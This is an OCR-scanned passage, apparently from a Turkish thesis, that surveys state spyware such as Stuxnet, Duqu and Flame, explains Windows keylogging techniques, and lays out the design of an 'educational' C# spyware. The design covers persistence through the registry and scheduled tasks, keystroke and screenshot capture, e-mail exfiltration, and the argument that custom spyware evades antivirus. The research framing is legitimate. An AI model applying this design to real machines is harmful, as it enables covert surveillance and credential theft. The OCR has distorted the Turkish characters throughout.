kullanmanin yani sira drt adet Sifir Giin (Ing. Zero — Day) agikligini beraber kullanmast,
giivenilir firmalardan ¢alinmis kok sertifikalar ile stiriici imzalamasi ve iilkeler i¢in belirli
oneme haiz tesisleri hedef alarak siire¢ degisimi yapmaya ¢alismasidir [26].

Stuxnet casus yaziliminin diger bir 6zelligi bulastig1 bilgisayarda bir SCADA (Siemens

supervisory control and data acquisition) sistemi mevcutsa ilk dnce mevcut projelerin kod
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ve dizaynlarmi calmaya caligmasi, ardindan programlama yazilim ara yiizii vasitasiyla
PLC'lere (Ing. Programmable Logic Controllers) kendi kodlarini yiiklemesidir. Ayrica
yiiklenen bu kodlar, Stuxnet’in bulagsmis oldugu bir bilgisayardan, PLC'lerdeki biitiin

kodlar incelenmek istendiginde dahi goriilememektedir [26].

Siber Savas kavraminin hayata gecirildiginin kanit1 olabilecek bir husus ta Sekil 2.1°de de
goriilebilecegi gibi ¢ogunlukla Stuxnet yazilmmin &zellikle iran’da  kendisini
gdstermesidir. Stuxnet yazilimi Iran niikleer tesislerinde Temmuz 2010°da tespit edilmis
olup &zellikle niikkleer ve sanayi tesislerinin bilgisayar sistemlerini hedef almasi dahasi

kontrol edebilmesi ses getirmistir.

Microsoft Zararh Yaznihm Koruma Merkezi
STUXNET Yayilma Girigimleri-Cografi Dagilim
16 Haziran 2010 itibariyle
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Sekil 2.1. Stuxnet yaziliminin iilkeler i¢in dagilim1

DUQU

DUQU, casus yazilim dahil bir¢ok zararli yazilim 6zelligi tasiyan bir yazilim olup 1 Eyliil
2011 tarihinde tespit edilmistir. Budapeste Ekonomi ve Teknoloji Universitesi Kriptografi
ve Sistem Giivenligi Laboratuvari’nda tespit edilen bu yazilim hakkinda 60 sayfalik bir
rapor yayimlanmis olup s6z konusu raporda yazilim DUQU olarak isimlendirilmistir [27].

Dizayn yontemi, i¢ yapisi ve ¢alisma yontemi nedeniyle STUXNET ile ¢cok benzedigi ifade
edilen DUQU yazilimmin ayni ekip tarafindan ancak farkli amaglarla gelistirildigi
degerlendirilmektedir. STUXNET yazilimi niikleer tesislerdeki PLC’lerin ¢alismasini
olumsuz etkilemekte iken DUQU yazilimi1 Microsoft Windows tabanli bilgisayarlardan

bilgi sizdirmay1 hedefledigi ve bu hedefe ulasmasina yardimci olan bir 6zelliginin tus
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kaydedici (keylogger) 6zelligi oldugu ifade edilmektedir. S6z konusu 6zellik ile basilan tus
bilgilerinin kaydedilmesi ile birlikte belirli araliklarda ekran goriintiileri de
kaydedilmektedir. Toplanan bilgiler, isletim sisteminin gegici dosyalarmin saklandigi

%TEMP% klasoriinde sikistirilmis olarak kaydedilmektedir [28].

Kiiresel alanda bilgisayar giivenligi hizmeti veren RSA sirketinden Michael Sconzo
tarafindan, “DUQU’nun girdigi sistemde 36 giin kaldigi, bu siire i¢inde sistemi analiz
ettigi, ardindan elde ettigi bilgileri giivenli bir sunucuya aktardig1 ve 36 giiniin sonunda

kendini yok ettigi belirtilmistir.

FLAME

CrySys raporuna gére FLAME zararli yazilimi, hedef aldig1 bilgi tipi dogrultusunda saldir1
yapmak igin tasarlanmis birgok modiilden olusmus karmasik bir kittir. FLAME ya da
sKyWIlper olarak adlandirilan bu yazilimin bilgi ¢alma amaciyla yazilmis oldugu ve tespit
edildigi tarih itibariyle 5-8 wyildir aktif olabilecegi degerlendirilmektedir. Ayrica bu
yazilimin bes farkli sifreleme yontemi, ii¢ farkli sikistirma yontemi ve bes farkli dosya
format1 kullandig1 tespiti de yapilmistir. S6z konusu yazilimin dikkat cekici bir diger
ozelligi ise bulastig1 sistemden edindigi bilgileri yine ayni sistem i¢inde SQLite veritabani
iizerinde saklamasidir. SKyWlper yazilimiin yiiksek ihtimalle klavye, ekran, mikrofon,
depolama ve ag gibi tiim bilgisayar unsurlarim1 kullanabildigi de degerlendirilmektedir.
CrySys raporu SKyWlper yaziliminin (FLAME) bir devlet organizasyonu tarafindan
onemli bir biit¢e ve isgiicli harcanarak Siber Savas faaliyetleri kapsaminda gelistirilmis

olabilecegini ifade etmektedir [29].

CIPAV

“Computer and Internet Protocol Address Verifier (CIPAV)” yazilimi FBI tarafindan
stiphelilerin takibi amaciyla gelistirilen bir veri toplama yazilimidir. CIPAV yazilimi tipki
diger illegal casus yazilimlar gibi hedef bilgisayar {izerinde ¢alisirken kullanicisi tarafindan
fark edilmeden bilgisayar aktivitelerini izler ve raporlar. CIPAV IP adresi, MAC adresi,
acik ag portlari, calisan uygulamalar, yiiklii uygulamalar, son ziyaret edilen web sayfalari
gibi bilgileri toplar. S6z konusu yazilim ayrica yiiklendikten sonra arka planda tiim giden

ag trafigini, baglanilan her IP adresini, zaman damgasi ile birlikte kayit altina alir. CIPAV
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yazilimi, kendi okuluna bomba ihbarlar1 yapan bir gencin sorusturulmasina iligkin agik bir

mahkemede isminin gegmesi ile haber basliklarinda yerini almistir [30].

Siber diinyada casus vazilimlarin olusturduklan riskler

Gilin gectikce siber diinyanin sagladigi kolayliklarin artmasi nedeniyle bilisim sistemleri
iizerinden gergeklestirilen islemlerin kapsami ve miktar1 artmaktadir. Ornegin internet
bankaciliginin yayginlagsmasi sonucunda bir¢ok kullanici bankaya gitmek yerine internet
bankaciligini tercih etmektedir. Internet iizerinden gerceklestirilen aligverisler de bu

kapsamda verilebilecek drneklerdir.

Giliniimiizde bankacilik, aligveris, egitim, saglik gibi birgok 6nemli isler internet {izerinden
halledilebilmekle birlikte sosyal aglar, internet lizerinden oynanan oyunlar, haber takibi
gibi insan hayatinda yer tutan diger faaliyetlerin de internet iizerinden yapilmasi
kullanicilar1 siber diinyaya daha da baglamaktadir. Gergeklestirilen islem ¢esitlerinin
artmasi, suclularin siber diinyaya yonelmesine sebep olmaktadir. Ancak suglularin siber
diinyaya olan ilgilerinin artmasina karsin kullanicilarda ayni diizeyde farkindalik
olusmamaktadir. S6z konusu farkindaligin kullanicilar ile birlikte bilisim hizmeti veren

kurumlar/firmalar tarafindan da olusmasi ve gerekli dnlemlerin alinmasi gerekmektedir.
Casus yazilimlar, asagida bahsedilen riskleri olusturmaktadirlar;

e Kullanicilarin siber diinyadaki kimlik kartlar1 olarak tanimlanabilecek kullanici adi
ve parola/sifrelerinin ele gecirilmesi,

e Kullanici istegi disinda reklamlara maruz kalinmasi, reklam yazilimlarinda bulunan
bu 6zelligin yanm sira baska zararli yazilimlarin yliklenmesinin de miimkiin olmasi
[31],

e Kullanicilarin internet ortaminda kullandiklar1 kredi kart1 bilgilerinin bagka kisilerin
eline gecmesi sonucu maddi zarara ugrama riski,

e Bilgisayarda elektronik ortamda bulunan gizli bilgi ve belgelerin yetkisiz kisilerin
eline gegmesi,

e E-posta yazigmalari, takvim bilgileri gibi kisiye 6zel bilgilerin iglincii taraflarin eline
gecmesi sonucunda kisinin yaptiklarinin takip edilebilecek olmasi,

o Kisiye 6zel fotograf, miizik ve videolarin kotii niyetli kisilerce ele gegirilmesi,
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Bant genisligi ve istemci islemleri gibi sistem bilesenlerinin kullanici bilgisi
dahilinde olmadan diger kisilerce kullanilabilmesi (BOTNET vb.),

Casus yazilimlarin arka planda galismasi sonucunda bilgisayar ve ag performans
kayb1 yasanabilmesi [32],

Kullanicinin iradesi disinda gergeklesen islemlerden dolayr yasal yaptirimlarla
karsilasabilmesi (Ornegin casus yazilimin kullanic1 bilgisayarindan gizlice e-posta
gondermesi vb.) ,

Banka sifrelerinin c¢alinarak kisilerin banka hesaplarindan para cekilmesi. Mobil
cihazlar tarafindan kullanilan igletim sistemlerini de tehdit eden casus yazilimlar s6z
konusu durumun engellenebilmesi i¢in bankalar tarafindan olusturulan uygulamalar
icinde risk olusturmaktadir [33],

Kurumsal nitelikte ¢alisan sirketler ile askeri ve kamu kurumlarina ait yazismalar
gibi belgelerin sizma riski (endiistriyel ve askeri casusluk).

Telefon dinlemelerinin (telekulak) ¢ok tartisildigi gliniimiizde, her yerde bulunan
bilgisayarlar ile bilgisayar 6zelligi tasiyan akilli telefon/tablet gibi mobil cihazlarin
casus yazilimlar aracilifiyla kullanicilarini izleyen bir gizli kamera ve dinleyen bir
ses kaydedici olmasi riski [34].

Kimlik bilgilerinin ¢alinarak kisinin bilgisi olmadan s6z konusu kimlik bilgilerinin
farkli amaclarla kullanilmasi. Ornegin sahte kredi kart1 hesaplar1 agilmasi, sirketler
kurularak bu sirketler lizerinden yasal olmayan faaliyetlerin yiiriitiilmesi vb.
Ulkelerin kritik altyapilarinin  zarar gdrmesi riski. Ornegin niikleer tesislerin,

ulagtirma saglik gibi kamu altyapilarinin siber saldir1 sonucu zarar gérmesi,

2.2.5.Klavye dinleme sistemleri (ing. Keyloggers)

Temel olarak klavye dinleme sistemlerini donanimsal (Ing. hardware) ve yazilimsal (ing.

software) olmak tizere iki kategori altinda toplamak miimkiindiir. Bunlardan birincisi olan

donanimsal klavye dinleme sistemleri klavye ile bilgisayarin giris/cikis (I/O) portu

arasindaki veri aligverisini takip etmeyi hedefler. Donanimsal klavye sistemlerinin ilgili

bilgisayara fiziksel olarak yerlestirilmesi gerekmekte olup herhangi bir yazilim

yiikklenmediginden koruyucu yazilimlar tarafindan tespit edilememektedirler [35].

Windows isletim sistemlerinde, Yazilimsal Tus Kaydediciler;

Klavye durum tablosu yontemi,
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e Windows klavye ¢engeli (Hook) yontemi

e (Ceckirdek tabanl klavye siizgeg¢ siiriiciisii yontemi

gibi bilinen {i¢ yontemi kullanmaktadirlar. Klavye durum tablosu yonteminde
“GetKeyboardState” fonksiyonu ile etkin pencereye ait is parcaciginin isledigi klavye
tablosu okunarak, o an basili olan tus bilgileri edinilir. Windows klavye c¢engeli
yonteminde bir Windows uygulamasi klavye mesaj mekanizmasina bir altyordam kurarak
(“cengel atarak™) gerceklesen mesaj trafigini izleyebilir, mesaji normalde gidecegi hedefte
bulunan pencereye ulasmadan 6nce isleyebilir (izleme, degistirme, engelleme). Cekirdek
tabanli klavye siizgec siirlicii yonteminde, Windows isletim sisteminin klavye cihaz
strtictisii ile klavyenin kendisi arasinda bir siiriicii gelistirilerek basilan tus bilgileri

Windows sistemine ulagmadan once gelistirilen yazilim lizerinden gegmesi saglanir [18].

Donanimsal klavye dinleme sistemlerinde takip edilecek bilgisayara fiziksel erisim
gerekiyor olmasma ragmen yazilimsal klavye dinleme sistemleri ise diger zararli
yazilimlarda oldugu gibi sanal diinyada kendisini ¢ogaltabilir, baska yazilimlar arkasina

gizlenebilir.

Klavye dinleme yazilimlari, siber giivenlik acisindan olusturduklart riskler
degerlendirildiginde diger zararli yazilimlar arasinda Onemli bir yere sahiptirler.
Kullanicilarin siber diinyadaki kimlikleri olarak tanimlanabilecek kullanict adi ve parola
gibi bilgileri toplamay1 hedefleyen bu yazilimlarin asil amaci basilan klavye tuslarini takip

etmektir.
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3. CASUS YAZILIM GELISTIRME SURECI

Bu boéliimde siber suclularin hazir gelistirilen bir casus yazilim edinmektense neden 6zgiin

bir casus yazilim gelistirmek isteyebilecegi, casus yazilim gelistirmek icin hangi

motivasyonlara ihtiya¢ duyulabilecegi, hedeflerin nasil secilebilecegi, casus yazilimlarin

hangi yazilim dilleri kullanilarak gelistirilebilece§i ve c¢alisma kapsaminda gelistirilen

casus yazilima hangi islevlerin kazandirildigi konular ele alinmustir.

3.1. Neden Casus Yazilim Gelistirilir?

Casus yazilim gelistiricileri cogunlukla siber suclular olmasina karsin asagida da

bahsedildigi tlizere istihbarat birimleri, koruyucu yazilim gelistiricileri, akademik amacla

calisan kisiler de casus yazilim gelistirebilirler. Casus yazilim gelistirilmesine yonelik

motivasyonlar asagida sunulmaktadir.

Programlama konusunda yetenegi olan kisi veya gruplarin bu yeteneklerini
gosterme konusundaki asir1 istegi sonucunda zararl bir yazilim (casus yazilim vb.)
gelistirip bu yazilimi ulastirilabilen tiim bilgisayarlara ulastirarak elde edilen
bilgilerin  paylagilmasi veya bu kisi/gruplarin  hedefledikleri amaglari
gerceklestirmesi sonucu kendi tanitimlarini yapmak istemesi,

Siber suglular para kazanmayir hedefleyerek casus yazilim gelistirebilirler.
Gelistirilecek c¢esitli casus yazilimlar ile internet bankaciligi kullanicilarinin
bilgileri, internet aligverisleri esnasinda kullanilan kredi kart1 bilgileri gibi 6nemli
bilgilerin hedeflenmesi,

Casus yazilim ile kurumsal bilisim aglarindan elde edilecek gizli bilgilerin
paylasilmas1 veya casus yazilimin sizdigr bilisim sistemlerinin islemez hale
getirilmesi sonucunda kurumlarin imaj kaybina ugratilmasi hedeflenebilmektedir.
Bu tiir aktiviteler cogunlukla kurumlarin politikalarindan rahatsiz olan “hacker”
gruplari tarafindan gerceklestirilmektedir.

Casus yazilimlar ile internet kullanicilarimin e-posta ve telefon gibi iletisim
bilgilerinin toplanarak bu bilgilerin reklam, ideolojik ve politik amaglar ile
kullanilmasi,

Enerji, sanayii, ulasim, saglik gibi kamu bilisim altyapilarina sizan casus

yazilimlarin bu sistemlere zarar vermesi hedeflenebilmektedir. Bu tiir aktiviteler
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giiniimiizde siber savas kavraminin ortaya ¢ikmasina neden olmustur. 2007 Nisan
ayinda Estonya’nin bir Rus anitin1 kaldirmas1 sonrasinda Estonya siber saldirilara
maruz kalmistir. Siber saldirilar Estonya’nin ticaret ve kamu diizeninin ¢6kmesine
neden olmustur [36],

Diisman olarak nitelendirilen iilkelerin bilisim sistemlerinden casus yazilimlar ile
gizli bilgi ve belgelerin elde edilmesi hedeflenebilmektedir. Bu aktiviteler siber
casusluk olarak tanimlanabilmektedirler [6],

Propaganda ve ses getiren eylemler gergeklestirmeyi amaglayan terdrizm
aktiviteleri i¢in araci olarak kullanilabilmesi [37] ,

Polis veya istihbarat teskilatlar1 casus yazilimlar1 kullanarak suclulari takip
edebilmektedirler. Bir suglunun bilgisayarina/mobil telefonuna yiiklenecek bir
casus yazilim ile edinilebilecek bilgiler s6z konusu suclunun fiziki takibi gibi
masrafli olan diger yontemlerle edinilebilecek bircok bilgiyi kapsayabilecegi
diisiiniildigiinde polis ve istihbarat teskilatlarinin kendi amaclari dogrultusunda
casus yazilimlar gelistirmis olabilecekleri varsayimi yapilabilir. Bu baglamda
suglularin takip edilmesini saglayan “CIPAV” casus yaziliminin FBI tarafindan
gelistirildigi ifade edilmektedir [30].

Internet ortaminda islenen suglarm alinabilecek bazi énlemlerle tespit edilmesinin

¢ok zor olmasi dolayisiyla suglularin siber diinyay1 hedef segmesi [38].

3.2. Hazir Casus Yazihm Edinmek ile Ozgiin Casus Yazihm Gelistirme Farklar

Siber suglular amaglarina ulasmak i¢in bir casus yazilima ihtiya¢ duyarlar. Ancak casus

yazilimlarin edinilebilmesi i¢in iki yontem bulunmaktadir. Bu yontemlerden birincisi

internet iizerinden satin alinmasidir. Ancak bir casus yazilimin internet iizerinden satin

alinmasinda asagidaki dezavantajlar mevcuttur;

Genel erisime acik oldugundan koruyucu yazilim gelistiricileri tarafindan kolaylikla
taninarak engellenebilmektedirler,

Edinilen hazir casus yazilimlarin, satin alan kisiye ait bilgileri de calma riski
bulunmaktadir. Ornegin bilgilerin toplanacag: bilgisayara yiiklenen casus yazilimi
kontrol edecek olan programin, yani satin alan kisinin kullanacagi programin da bir

casus yazilim olma riski mevcuttur,
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e Siber su¢lunun hedefine ulagmasi i¢in casus yazilimdan bekledigi tiim fonksiyonlarin
satin almacak olan bir yazilimda toplanmas1 miimkiin olmayabilir. Ornegin casus
yazilimin sadece belirli bolgelerde, zaman dilimlerinde, belirli programlar ¢aligirken
aktif olmasi istenebilir, ancak bu veya benzeri tiirdeki 6zel bir ihtiyact satin alinacak

olan casus yazilim karsilayamayacaktir.

Yukarida ifade edilen dezavantajlar siber su¢ isleme amaci ile casus yazilim satin alinmasi
durumunda gegerlidir. Ancak bazi1 6zel ihtiyaglardan dolay1 sug isleme amaci disinda da
hazir casus yazilim veya bu tiirdeki casus yazilim 6zelliklerine sahip yazilimlarin (ebeveyn
takip programlari, kayit tutma araclar1) satin alinmasi tercih edilebilmektedir, bu 6zel

ihtiyaglara verilebilecek bazi 6rnekler su sekildedir;

e Ebeveynlerin, ¢ocuklarin zararli igerik barindiran web sitelerine girisini denetlemek
istemesi,

e Kigisel bilgisayarin, sahibinin yaninda olmadig1 zaman dilimlerinde yetkisiz kisiler
tarafindan kullanilip kullanilmadiginin tespiti,

e Etik acidan cesitli tartigmalarin mevcut olmasina ragmen isyerleri, okul, kiitliphane
gibi ortamlarda bilgisayarlarin amaci disinda kullanilip kullanilmadiginin yoneticiler
tarafindan takip edilmesi,

e Sistem yoneticilerinin yonetimleri altinda bulunan bilgisayarlarin  sistem
aktivitelerini izlemesine yonelik ¢esitli programlari séz konusu bilgisayarlara
kurmasi. Bu takip programlari casus yazilim veya benzeri isimlerle ifade edilmiyor
olmalarina ragmen gerceklestirdikleri bir¢ok islev nedeniyle casus yazilimlara
benzerlik gosterirler. Ornegin girilen web siteleri, agik uygulama bilgileri, ag trafik

bilgilerinin izlenmesi vb.
gibi nedenlerle hazir yazilimlarin satin alinmasi tercih edilebilmektedir.

Koruyucu yazilimlarin  (antiviriis/antispyware) zararli  yazilimlart  tespit etme
yontemlerinden birisi de imza tabanli karsilastirma yontemine dayanan statik analiz
yontemidir [11, 21]. Bu yontem koruyucu programin inceleyecegi yazilimdan elde edecegi
imzayl, imza veritabanlariyla karsilastirmasi sonucunda zararl bir yazilima ait imza ile
eslesme bulmasi durumunda s6z konusu yazilimi riskli olarak degerlendirir. Bu durumda
eger incelenen yazilimin daha Once karsilagilmamis veya ilgili antivirlis programina ait
imza veritabanina girmemis olmast durumunda antiviriis programi tarafindan taninmamasi

durumu olusacaktir. Bu nedenle siber suglularin bir sug aleti olarak kullanacaklari casus
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yazilimin herhangi bir imza veritabanina girmemis olan 6zgiin bir casus yazilim olmasi
beklenir. S6z konusu mantiksal ¢ikarimdan yola ¢ikarak gergek risklerin daha iyi ortaya
konabilmesi i¢in 0zgiin bir casus yazilimin gelistirilerek koruyucu yazilimlar tarafindan
test edilmesi gerekmektedir. Ozgiin olarak bir casus yazilim gelistirilmesinin neden tercih

edilebilecegine iligskin sebepler su sekilde siralanabilir;

e Ozgiin olarak gelistirilecek bir casus yazilimm koruyucu yazilimlarin imza
veritabanlarinda herhangi bir kaydi bulunmayacagindan taninma riskinin az olmasi,

e Hedef veri tiiriine gore ozellestirmek; Sadece ihtiya¢ duyulacak olan veriyi (6rnegin
IP bilgisi) elde edecek bir yazilimin gelistirilmesi ile koruyucu programlar tarafindan
tespit edilme riskini en aza indirmek. Ihtiya¢ duyulan veri tiiriinden fazlasini elde
edebilecek olan hazir casus yazilimlar (6rnegin basilan tus bilgisi, girilen web sayfa
bilgisi vb.) koruyucu yazilimlar tarafindan daha kolay tespit edilebilir,

e Degisecek olan ihtiyaglara daha kolay adapte olunabilir. Ornegin yeni cikan bir
isletim sistemi i¢in gerekli gelistirmelerin yapilmasi,

e Gelistirilen yazilimm topladigi bilgileri {glincii taraflara gonderme riski
bulunmamaktadir. Ancak bu risk hazir olarak satin alinacak casus yazilimlarda

mevcuttur.

3.3. Casus Yazihm i¢in Hedef Secimi

Casus yazilim hedefi eger bir kisi ise o kisinin davranis ve aligkanliklarina gore casus
yazilim olusturulmalidir. Ornegin hedefteki kisi isletim sistemi olarak “Windows”
ailesinden bir isletim sistemi kullaniyorsa yazilacak casus yazilim "Windows" isletim
sistemini hedeflemelidir. Eger hedefte bir kitle varsa (Ornegin internet bankaciligi
kullanicilari, herhangi bir kuruma ait g¢alisanlar vb.) bu kitlenin ¢ogunlukla kullanmis
olduklar1 isletim sistemleri (platformlar) dikkate alinmalidir. Hedefteki kisinin/kitlenin

kullandig1 platformlar degisiklik gosterebilir. Bu platformlar1 su sekilde siralayabiliriz;

Mobil Platformlar (Android, 10S vb.): Mobil platformlarin kullanimi giiniimiizde gittikge
yayginlasmaktadir. Ozellikle kullanicilarin tiim islemlerini mobil cihazlar iizerinden
yapabilmesi kot niyetli yazilimcilarin ilgisini ¢ekmektedir. Mobil platformlar araciligiyla
sesli aramalarin, kisa mesajlasmalarin (SMS), bankacilik islemlerinin, sosyal aglarla ilgili
islemlerin ve hatta konum bilgileri ile ilgili islemlerin yapilabilmesi bu platformlar1 casus

yazilimlarin hedefi haline getirmektedir.
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Microsoft Windows Platformlari: Sekil 3.1°de gorildiigii gibi kisisel bilgisayarlarda en
yaygin olarak kullanilan isletim sistemi ailesinin “Windows” oldugu anlasilmaktadir. Son
kullanicilara sagladigi kullanici dostu ara yiizler genis bir kullanici kitlesine ulasmustir.
Dolayisiyla casus yazilimlar gibi zararli yazilimlarin hedefi haline gelmistir. Ayni nedenle
bu ¢alisma kapsaminda gelistirilen casus yazilim, risklerin daha iyi ortaya konulabilmesi

amaciyla Windows igletim sistemlerinde calisacak sekilde gelistirilmistir.

Desktop Operating System Market Share December, 2013

Mac 0S X 10.9

Linux -

macosx 102 [N
0% 10% 20% 25% 30%

5% 15% 5% 35% 40% 45%
http-//www.n ketshare.com/operating-system-market-share.aspx?gprid=10&gpcustomd=0&gpct=6&qpsp=179&gpnp=2&qptimeframe=Md&qpf=1

Sekil 3.1. Isletim sistemi kullanim oranlari, NetMarketShare, Aralik 2013

Mac OS X: Apple firmasinin gelistirmis oldugu isletim sistemi olup A.B.D. ' de kullanim1
daha yaygindir.

Linux Platformlari: 1991 yilinda hayat bulan Linux isletim sisteminin diger isletim
sistemlerinin aksine firma bagimlilig1 yoktur. Farkli kurum ve kuruluslarca gelistirilen
Linux, farkli arayiizlerde diger isletim sistemleriyle ayni islevleri gergeklestirebilmektedir.
GNU GPL (Gnu General Public Licence) lisansi ile olusturulan Linux isletim sisteminde
calisabilecek pek ¢ok program Internet iizerinde iicretsiz ve agik kaynak kodlu olarak
sunulmaktadir [39]. Her ne kadar {icretsiz olarak edinilmesi miimkiin olsa da Sekil 3.1’den
de anlasilacag: iizere kullanicilar arasinda diger isletim sistemlerine gore daha az tercih
edilmektedir. Bu platformlar, ¢ogunlukla teknik bilgisi iyi olan kullanicilar ve sunucu
sistemleri gibi ¢ok kullanicili sistemler i¢in tercih edilmektedir. Yapisal olarak daha
giivenli olduklar1 i¢in bu sistemler zararli yazilimlar tarafindan daha az tehdit
edilmektedirler. Ayrica bazi mobil platformlarin g¢ekirdek yapilarinda “Linux” isletim
sistemleri oldugu da dikkate alindifinda “Linux” platformlar i¢in risk olusturabilecek bir

casus yazilim ilgili mobil platformlarda da risk olusturabilir.
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3.4. Kodlamanin Yapilacagi Programlama Dili Altyapisi

Casus yazilim gelistirmek i¢in hedef kitlenin isletim sistemlerine uyumlu olan yazilim
dilleri segilmelidir. Ayrica bazi1 programlama dillerinde gelistirilen yazilimlarin
caligabilmesi igin ilgili programlama dillerine ait Framework'lerin (uygulamanin galismasi
icin gerekli kiitiphane ve derleyicilerin)  calistirilacak bilgisayarda yiiklii olmasi
gerekmektedir. Programlama dilleri ile ilgili daha detayli bilgiler Boliim 3.4.1 ve Bolim

3.4.2°de sunulmustur.

3.4.1. Yaygn olarak kullanilan programlama dilleri

Programlama dillerinin yaygmhg ile ilgili bir istatistik Sekil 3.2°’de verilmistir. Bu
istatistikte gecen bazi1 programlama dilleri ile ilgili agiklamalar ve bu dillerin casus yazilim

gelistirme agisindan degerlendirmeleri su sekildedir;

Java Programlama Dili : Java, Sun Microsystems tarafindan gelistirilen nesneye yonelik,
zeminden bagimsiz bir programlama dilidir. Java uygulamalar1 bilgisayar mimarisine bagl
olmadan herhangi bir Java Virtual Machine (JVM)'de calisabilen tipik bytecode'dur (smif
dosyasi) [40]. Su anda 6zellikle kurumsal alanda ve mobil cihazlarda son derece popiiler
olmustur. Java programlama dilinde gelistirilen yazilimlarin yiiklenecekleri bilgisayarlarda
uyumlu JVM paketinin yiiklenmis olmasina ihtiya¢ duyduklarindan dolayr casus yazilim

gelistirme i¢in kullanim1 uygun degerlendirilmemektedir.

C++ Programlama Dili :_C programlama dilinden tiiretilen C++ programlama dili, Bell
Laboratuvarlarinda Bjarne Stroustrup tarafindan 1980 yilindan itibaren gelistirilmeye
baslanmistir. C++ genel olarak C programlama dili lizerine birgok 6zelligin ilave edilmesi
sonucu gelistirilmistir. Bu o6zelliklerden en Onemlisi smiflarin ve nesnelerin yeniden
kullanilmasini ve kisisellestirilmesini miimkiin kilan Nesne Yo6nelimli Programlama (Ing.
Object Orianted Programming) 6zelligidir [41]. C++ programlama dili bir¢cok yazilimin
gelistirilmesinde halen kullanilmaktadir. Ozellikle donanimlar igin gelistirilen siiriicii gibi
yazilimlar bu dil kullanilarak gelistirilmektedir. Bu dil kullanilarak cesitli casus yazilimlar

gelistirilebilir.

PHP ve Javascript: Bu programlama dilleri gogunlukla "Web Tabanli" yazilim gelistirme

alanlarinda kullanilmaktadirlar. Ozellikle “PHP” tabanli sunucu iizerinden calisan


http://tr.wikipedia.org/wiki/Sun_Microsystems
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sistemlere “SQL Injection” gibi ¢esitli siber saldir1 yontemleri ile saldirilabilmekle birlikte
bu yontemlerin casus yazilimlarin kullandigi yontemlerden farkli bir kategoride ele

alimmas1 gerekmektedir.

C# Programlama Dili: C# Programlama Dili, Windows isletim sistemleri tizerinde .Net
platformu olusturulduktan sonra yaygin olarak kullanilmaya baslayan Nesnel bir dildir.
C++ diline ait karisik 6zellikleri kullanmadaki basarisi ve Visual Basic diline ait kullanim
kolayligi sunmasit bu dilin 6zelliklerindendir. Smif mantigini desteklediginden “DII”
dosyalar1 icinde ortak kullanilabilecek smiflar sayesinde aymi kodlarin tekrar tekrar
yazilmasina ihtiya¢ duyulmamaktadir [42]. Casus yazilimin gelistirilmesi i¢in Boliim

3.4.2°de ifade edilen nedenlerden dolay1 C# se¢ilmistir.

L™
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C++

PHP
Javascript
Python
c#f

Perl

soL|

Ruby

Shell
Visual Basic
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Objective C
Lisp
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Fortran| |
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Lua
ColdFusion|
Cobaol
Erlang

DH

Scala
Smalltalk
oCamlf
Forthl|

Rexx

0.20 0.40 0.60 0.80 1.00
http://www.langpop.com

Sekil 3.2. Programlama dili karsilastirilmali kullanim oranlari

3.4.2. Casus yazilim i¢in programlama dili se¢imi

Geligtirilen egitim amagli casus yazilimin en genis kullanict kitlesine ulasilabilirligini

saglayabilmek i¢in Sekil 3.1' de sunuldugu gibi en yaygin sekilde kullanilan Windows
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tabanli isletim sistemleri hedeflenmistir. Bu kapsamda "Yaygin olarak kullanilan
programlama dilleri" basliginda da belirtildigi gibi;

e (asus yazilim igin hedef isletim sistemi olarak “Windows” se¢ildiginden, soz
konusu isletim sisteminin iireticisi olan Microsoft firmasinin sagladigi “.NET”
gelistirme ortaminda “C#” dilini kullanmak, gelistirilecek casus yazilimin
uyumsuzluk risklerini en aza indirecektir,

e C# dilinin nesneye dayali programlama esaslarina uygun olmasi nedeniyle
gelistirilme siirecinin daha kisa siirmesi,

e “Visual Studio” gelistirme araci ile C# dilinde gelistirilen bir yazilimin Windows
Vista ve st (Windows 7, Windows 8...) isletim sistemlerinde herhangi bir
Framework kurulumuna ihtiyag duymadan calisabilmesi,

o C# yazilim diline yonelik hazir kiitliphanelerin, dokiimanlarin, forum ve paylasim
sitelerinin oldukc¢a fazla olmasindan dolayi, gelistirme esnasinda kolaylikla

bagvurulabilecek veya kullanilabilecek hazir kiitiiphanelerin bulunmasi,
Nedenlerinden dolay1 casus yazilim i¢in C# programlama dili se¢ilmistir.

C# dilinin se¢ilmis olmasi ile birlikte, editdr bir programa da ihtiyag duyulmaktadir. Bu
kapsamda yine Microsoft firmasi Uriinii olan "VisualStudio" programinin son siliriimii
"Microsoft Visual Studio 2010" araci yazilimin gelistirilmesi i¢in kullanilmistir. Bu editor
programinin se¢ilmesinde kullanim kolaylig1, hazir nesneleri barindirmasi (zamanlayicilar,
metin gostericiler vb.), Vista ve iizert Windows isletim sistemlerinde calisabilecek sekilde

derleme yapabilmesi gibi nedenler etkili olmustur.

3.5. Casus Yazihm Akis Semasi

Akis semalarinin yazilim gelistirme siire¢lerinde akisin belirlenmesi, gelistirilecek
siiflarin yapisinin daha iyi tasarlanmasi gibi ¢esitli faydalart bulunmaktadir. Bu nedenle
gelistirilen casus yazilima yonelik bir akis semasi olusturulmus olup Sekil 3.3’te

sunulmustur.



Kullamicr tarafindan casus
yazihm calistirihr

EVET

A 4

Yaziim calisir, “Form1_Load” metodu
cagrilir

Yaziimin acilista otomatik baglamast igin
kayit defterinde ve zamanlanmis gorevlerde (—
kayit olugturulur

EVET

TEMP klasérinde
parametre dosyasi

Yazilim parametrelerinin girilecegi ekran acilir.
Parametreler girildikten sonra parametre

[ ]

* "zamanlayicilari_baslat()" fonksiyonu cagrilir.

{ Bilgisayar acilir. J

Windows otomatik baglangicina
wveya zamanlanmis garevlerde
yazihm kayith mi?

Yazihmin galisan bagka
kopyasivar mi?

Diger calisan kopyalar sonlandirilir.

HAYIR

Uygulama Windows
TEMP klasriinde mi

Uygulama kendisini Windows TEMP
klasoriine kopyalar

v

Sekil 3.3. Casus yazilim akis semasi

Kullaniciya, "yaziimin egitim amach
gelistirildigi" uyarisi verilir.

EVET
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!

"Tug Kaydedici" zamanlayicisi 100 ms'de bir
calisacak sekilde aktiflestirilir.

v

100 ms'de bir basilan tus bilgilerini elde

Gegerli pencere
bashg degisti mi?

Basilan tus bilgileri gegici kayit
yiginina aktarihr.

E-posta génderme

E-posta parametreleri
dosyadan okunur

Degisen pencere bilgisi gegici
kayit yiginina aktarihr.

v

Parametre dosyasindaki
zaman araligi degerine gére

——1

Ekran resmi cekme

¥

Ekran resmi cekme
arali parametre
dosyasindan alinir

¥

Parametre dosyasinda yer alan
zaman araliginda resim fonksiyon
déngiisii galisir

v

Ekran resmi gekme fonksiyonu

Gecici kayrt yigini asil kayit
yiginina aktanhir

L4

Asil Kayit yigini ekrana yansitilir,

